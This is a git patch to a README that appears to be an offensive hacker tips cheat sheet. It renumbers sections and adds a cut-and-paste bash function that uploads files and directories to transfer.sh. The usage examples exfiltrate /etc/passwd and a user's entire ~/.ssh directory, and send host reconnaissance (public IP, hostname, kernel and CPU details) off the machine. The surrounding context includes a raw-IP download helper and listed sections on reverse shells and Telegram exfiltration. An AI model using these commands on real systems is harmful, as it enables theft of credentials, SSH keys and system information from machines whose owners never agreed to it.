From 2bbea4a03f90973c407c2554d553b3fef53347bd Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sun, 10 Sep 2023 19:37:16 +0100 Subject: [PATCH] Update README.md --- README.md | 28 ++++++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 0e7dc17..89dca63 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) 1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat) 1. [File transfer using HTTP](#http) 1. [File transfer without curl](#burl) + 1. [File transfer for transfer.sh](#trans) 1. [File transfer using WebDAV](#webdav) 1. [File transfer to Telegram](#tg) 1. [Reverse Shell / Dumb Shell](#reverse-shell) @@ -896,8 +897,31 @@ burl() { # PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz ``` + +### 4.vii. File transfer using a public dump + +Cut & paste into your bash: +```sh +transfer() { + local fn + [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] &2 "Not found: $1"; return 255; } + [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar --upload-file "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } + curl -SsfL --progress-bar --upload-file "$1" "https://transfer.sh/${1##*/}" +} +``` + +then upload a file or a directory: +```sh +transfer /etc/passwd # A single file +transfer ~/.ssh # An entire directory +(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)" +``` +A list of our favorite public upload sites. + -### 4.vii. File transfer - using WebDAV +### 4.viii. File transfer - using WebDAV On your workstation (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV: ```sh @@ -934,7 +958,7 @@ net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources ``` -### 4.viii. File transfer to Telegram +### 4.ix. File transfer to Telegram There are [zillions of upload services](#cloudexfil) but TG is a neat alternative. Get a _TG-Bot-Token_ from the [TG BotFather](https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token). Then create a new TG group and add your bot to the group. Retrieve the _chat_id_ of that group: ```sh